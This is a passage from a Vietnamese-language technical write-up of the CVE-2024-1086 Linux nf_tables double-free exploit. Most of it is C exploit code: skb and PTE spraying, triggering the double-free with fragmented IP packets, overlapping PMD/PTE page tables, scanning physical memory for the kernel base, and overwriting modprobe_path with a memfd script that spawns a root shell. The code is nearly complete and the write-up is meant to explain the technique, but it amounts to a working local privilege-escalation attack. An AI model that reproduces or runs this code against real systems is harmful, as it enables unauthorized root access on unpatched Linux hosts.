alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);
set_ipfrag_time(9999);
printf("[*] waiting for the calm before the storm...\n");
sleep(CONFIG_SEC_BEFORE_STORM);
// ... (rest of the exploit)
}
```
## 5.2. Khai thác double-free
### 5.2.1. Reserving clean skb's for masking
Để cấp phát các skb trước khi thực hiện double-free (mà chúng ta giải phóng trong quá trình double-free để tránh bị phát hiện và tăng tính ổn định), exploit gửi các gói UDP đến socket lắng nghe UDP của chính nó. Cho đến khi UDP listener nhận các packet, chúng sẽ vẫn tồn tại trong bộ nhớ dưới dạng các skb riêng biệt.
```cpp!
void send_ipv4_udp(const char* buf, size_t buflen)
{
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_port = htons(45173),
.sin_addr.s_addr = inet_addr("127.0.0.1")
};
sendto_noconn(&dst_addr, buf, buflen, sendto_ipv4_udp_client_sockfd);
}
```
```cpp!
static void alloc_ipv4_udp(size_t content_size)
{
PRINTF_VERBOSE("[*] sending udp packet...\n");
memset(intermed_buf, '\x00', content_size);
send_ipv4_udp(intermed_buf, content_size);
}
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (setup code)
// pop N skbs from skb freelist
for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] reserving udp packets... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
alloc_ipv4_udp(1);
}
// ... (rest of the exploit)
}
```
### 5.2.2. Triggering double-free 1st free
Để kích hoạt lỗi double-free, gửi một packet IP gây ra rule nftables mà đã thiết lập trước đó. Đó là một giao thức tùy ý ngoại trừ TCP và UDP, vì chúng sẽ được chuyển đến mã xử lý TCP/UDP sẽ làm hỏng hệ điều hành do dữ liệu bị hỏng.
Việc sử dụng cờ IP_MF (0x2000) trong trường offset của header IP, mà sử dụng để ép skb vào hàng đợi phân đoạn IP, và giải phóng skb theo ý muốn sau đó bằng cách gửi các phân đoạn "hoàn thiện". Lưu ý kích thước của skb này xác định kích thước double-free. Nếu cấp phát một packet với nội dung 0 byte, object skb head được cấp phát sẽ nằm trong kmalloc-256 , nhưng nếu cấp phát một packet với 32768 byte, nó sẽ là order 4 (16 trang từ buddy-allocator).
```cpp!
static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers
static int sendto_ipv4_ip_sockfd;
void send_ipv4_ip_hdr(const char* buf, size_t buflen, struct ip *ip_header)
{
size_t ip_buflen = sizeof(struct ip) + buflen;
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = inet_addr("127.0.0.2") // 127.0.0.1 will not be ipfrag_time'd. this can't be set to 1.1.1.1 since C runtime will prob catch it
};
memcpy(intermed_buf, ip_header, sizeof(*ip_header));
memcpy(&intermed_buf[sizeof(*ip_header)], buf, buflen);
// checksum needs to be 0 before
((struct ip*)intermed_buf)->ip_sum = 0;
((struct ip*)intermed_buf)->ip_sum = ip_finish_sum(ip_checksum(intermed_buf, ip_buflen, 0));
PRINTF_VERBOSE("[*] sending IP packet (%ld bytes)...\n", ip_buflen);
sendto_noconn(&dst_addr, intermed_buf, ip_buflen, sendto_ipv4_ip_sockfd);
}
static char intermed_buf[1 << 19];
static void send_ipv4_ip_hdr_chr(size_t dfsize, struct ip *ip_header, char chr)
{
memset(intermed_buf, chr, dfsize);
send_ipv4_ip_hdr(intermed_buf, dfsize, ip_header);
}
static void trigger_double_free_hdr(size_t dfsize, struct ip *ip_header)
{
printf("[*] sending double free buffer packet...\n");
send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x41');
}
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (skb spray)
// allocate and free 1 skb from freelist
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000); // wait for other fragments. 8 >> 3 to make it wait or so?
trigger_double_free_hdr(32768 + 8, &df_ip_header);
// ... (rest of the exploit)
}
```
### 5.2.3. Masking the double-free with skb's
Để ngăn chặn việc phát hiện lỗ hổng double-free và cải thiện tính ổn định của hoạt động khai thác, cần loại bỏ các gói UDP mà đã cấp phát trước đó.
```cpp!
static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers
static int sendto_ipv4_udp_server_sockfd;
void recv_ipv4_udp(int content_len)
{
PRINTF_VERBOSE("[*] doing udp recv...\n");
recv(sendto_ipv4_udp_server_sockfd, intermed_buf, content_len, 0);
PRINTF_VERBOSE("[*] udp packet preview: %02hhx\n", intermed_buf[0]);
}
```
### 5.2.4. Spraying PTEs
Để spray PTE, đơn giản chỉ cần truy cập các trang bộ nhớ ảo trong VMA mà đã đăng ký trước đó. Lưu ý mỗi PTE chứa 512 trang tương đương 0x20'0000 byte. Do đó, truy cập một lần mỗi 0x20'0000 byte tổng cộng CONFIG_PTE_SPRAY_AMOUNT lần.
Để đơn giản hóa quá trình này, dùng macro chuyển đổi các chỉ số page table thành địa chỉ bộ nhớ ảo. Ví dụ, mm->pgd[pud_nr][pmd_nr][pte_nr][page_nr] chịu trách nhiệm cho trang bộ nhớ ảo PTI_TO_VIRT(pud_nr, pmd_nr, pte_nr, page_nr, 0). Ví dụ, mm->pgd[1][0][0][0] tham chiếu đến trang bộ nhớ ảo tại 0x80'0000'0000.
```cpp!
#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (spray-free skb's)
// spray-allocate the PTEs from PCP allocator order-0 list
printf("[*] spraying %d pte's...\n", CONFIG_PTE_SPRAY_AMOUNT);
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
*(char*)PTI_TO_VIRT(2, 0, i, 0, 0) = 0x41;
// ... (rest of the exploit)
}
```
### 5.2.5. Triggering double-free free 2
Sau khi đã làm rỗng danh sách PCP và cấp phát một số lượng lớn PTE trên bản ghi trang mà đã giải phóng lần 1 bên trên. Bây giờ, cần free lần 2 để sử dụng bản ghi danh sách trang trống của nó để cấp phát một PMD trùng lặp.
```cpp!
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (spray-alloc PTEs)
PRINTF_VERBOSE("[*] double-freeing skb...\n");
// cause double-free on skb from earlier
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
// skb1->len gets overwritten by s->random() in set_freepointer(). need to discard queue with tricks circumventing skb1->len
// causes end == offset in ip_frag_queue(). packet will be empty
// remains running until after both frees, a.k.a. does not require sleep
alloc_intermed_buf_hdr(0, &df_ip_header);
// ... (rest of the exploit)
}
```
### 5.2.6. Allocating the PMD
Bây giờ sau khi có bản ghi danh sách trống thứ hai cho trang đã được giải phóng hai lần (lưu ý nó đã được cấp phát bởi PTE, vì vậy không có 2 bản ghi danh sách trống cùng một lúc), có thể cấp phát PMD trùng lặp cho trang này. Điều này vô cùng phức tạp.
```cpp!
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (free 2 of skb)
// allocate overlapping PMD page (overlaps with PTE)
*(unsigned long long*)_pmd_area = 0xCAFEBABE;
// ... (rest of the exploit)
```
### 5.2.7. Finding the overlapping PTE
Bây giờ khi có một khu vực PMD và PTE chồng lên nhau ở một vị trí nào đó, chúng ta cần xác định xem trong số các PTE đã được phun, PTE nào là PTE trùng lặp. Điều này khá dễ dàng, bởi vì nó là việc kiểm tra xem khu vực PTE nào chứa một mục PTE thuộc về khu vực PMD. Nói một cách đơn giản, chỉ cần kiểm tra xem giá trị của mục PTE đó đã thay đổi từ giá trị ban đầu hay không, điều này cho thấy rằng trang đã bị ghi đè.
```cpp!
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (allocate the overlapping PMD page)
printf("[*] checking %d sprayed pte's for overlap...\n", CONFIG_PTE_SPRAY_AMOUNT);
// find overlapped PTE area
pte_area = NULL;
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
unsigned long long *test_target_addr = PTI_TO_VIRT(2, 0, i, 0, 0);
// pte entry pte[0] should be the PFN+flags for &_pmd_area
// if this is the double allocated PTE, the value is PFN+flags, not 0x41
if (*test_target_addr != 0x41)
{
printf("[+] confirmed double alloc PMD/PTE\n");
PRINTF_VERBOSE(" - PTE area index: %lld\n", i);
PRINTF_VERBOSE(" - PTE area (write target address/page): %016llx (new)\n", *test_target_addr);
pte_area = test_target_addr;
}
}
if (pte_area == NULL)
{
printf("[-] failed to detect overwritten pte: is more PTE spray needed? pmd: %016llx\n", *(unsigned long long*)_pmd_area);
return;
}
// set new pte value for sanity check
*pte_area = 0x0 | 0x8000000000000867;
flush_tlb(_pmd_area, 0x400000);
PRINTF_VERBOSE(" - PMD area (read target value/page): %016llx (new)\n", *(unsigned long long*)_pmd_area);
// (rest of the exploit)
}
```
## 5.3. Scanning physical memory
Sau khi đã thiết lập xong việc cấp phát kép PTE+PMD, chúng ta có thể sử dụng Dirty Pagedirectory: một cuộc tấn công KSMA từ không gian người dùng (userland). Bây giờ, chúng ta có thể viết địa chỉ vật lý của các mục PTE đến một địa chỉ nhất định trong khu vực PTE, và sau đó dereference (lấy từ (một con trỏ) địa chỉ của mục dữ liệu được giữ ở một vị trí khác) nó như một trang bình thường trong khu vực PMD.
Trong phần này, chúng ta sẽ thu được physical base address của kernel và sau đó sử dụng nó để truy cập biến kernel modprobe_path với quyền đọc/ghi. Điều này cho phép tương tác với các phần của hệ thống kernel mà thông thường chỉ có hệ thống kernel mới có thể làm được, từ không gian người dùng.
### 5.3.1. Finding kernel base address
Sử dụng kỹ thuật bypass KASLR vật lý như đã đề cập để tìm địa chỉ vật lý cơ sở của kernel. Giả sử một thiết bị có 8GiB bộ nhớ vật lý, điều này giảm bộ nhớ cần quét từ 8GiB xuống còn 2MiB tương đương với số trang. Chúng ta cần khoảng ~40 byte cho mỗi trang để quyết định xem đó có phải là base address của kernel hay không, điều này có nghĩa là cần đọc 512 * 40 = 20.480 byte trong trường hợp xấu nhất để tìm base address của kernel.
Script tìm base address của kernel: https://github.com/Notselwyn/get-sig
```cpp!
static int is_kernel_base(unsigned char *addr)
{
// thanks python
// get-sig kernel_runtime_1
if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
return 1;
// get-sig kernel_runtime_2
if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
return 1;
return 0;
}
```
## 5.4. Ghi đè modprobe_path
Sau khi có quyền đọc/ghi vào modprobe_path, chúng ta phải tìm "PID" thực sự của exploit để chúng ta có thể thực thi /proc/<pid>/fd (file descriptor chứa script leo thang đặc quyền).
```cpp!
#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...
// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);
// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
for (int i=0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;
// ... (find modprobe_path)
PRINTF_VERBOSE("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
printf("[*] overwriting path with PIDs in range 0->4194304...\n");
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
{
int status_cnt;
char buf;
// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);
if (pid_guess % 50 == 0)
{
PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
PRINTF_VERBOSE(" - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
PRINTF_VERBOSE(" - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
}
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
// ... (rest of the exploit)
}
printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");
return;
}
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}
printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}
```
## 5.5. Drop root shell
Để gọi root shell, ta chạy 1 file không hợp lệ bằng cách sử dụng modprobe_trigger_memfd(), sử dụng modprobe_path đã bị ghi đè. modprobe_path mới trỏ đến script (/proc/<pid>/fd/<fd>) dưới đây. Nó ghi 1 vào file mô tả trạng thái được cấp phát mới, khiến cho exploit gọi một root shell thành công và dừng việc thực thi. Sau đó, nó cung cấp một shell cho console.
Để gọi root shell không cần tạo file. Điều này hoạt động trên local, cũng như các reverse shell:
```cpp!
#!/bin/sh
echo -n 1 > /proc/<exploit_pid>/fd/<status_fd>
/bin/sh 0</proc/<exploit_pid>/fd/0 1>/proc/<exploit_pid>/fd/1 2>&
```
```cpp!
#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...
// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);
// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
for (int i=0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;
// ... (find modprobe_path)
PRINTF_VERBOSE("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
printf("[*] overwriting path with PIDs in range 0->4194304...\n");
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
{
int status_cnt;
char buf;
// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);
if (pid_guess % 50 == 0)
{
PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
PRINTF_VERBOSE(" - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
PRINTF_VERBOSE(" - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
}
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
// ... (rest of the exploit)
}
printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");
return;
}
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}
printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}
```
## 5.6. Duy trì shell
Do bị can thiệp về bộ nhớ, nên các page tables sử dụng để exploit có thể không ổn định và sẽ trở thành vấn đề khi chúng dừng hoạt động. Có thể giải quyết bằng cách gọi hàm sleep() để giữ tiến trình cha vẫn chạy
```cpp!
int main()
{
int *exploit_status;
exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*exploit_status = EXPLOIT_STAT_RUNNING;
// detaches program and makes it sleep in background when succeeding or failing
// - prevents kernel system instability when trying to free resources
if (fork() == 0)
{
int shell_stdin_fd;
int shell_stdout_fd;
signal(SIGINT, signal_handler_sleep);
// open copies of stdout etc which will not be redirected when stdout is redirected, but will be printed to user
shell_stdin_fd = dup(STDIN_FILENO);
shell_stdout_fd = dup(STDOUT_FILENO);
#if CONFIG_REDIRECT_LOG
setup_log("exp.log");
#endif
setup_env();
privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);
*exploit_status = EXPLOIT_STAT_FINISHED;
// prevent crashes due to invalid pagetables
sleep(9999);
}
// prevent premature exits
SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);
return 0;
}
```
# 6. POC


# 7. Referrences
Exploit của tác giả: https://github.com/Notselwyn/CVE-2024-1086
Bài viết gốc: https://pwning.tech/nftables
Dirty pagetable:https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html
Nf_tables:https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/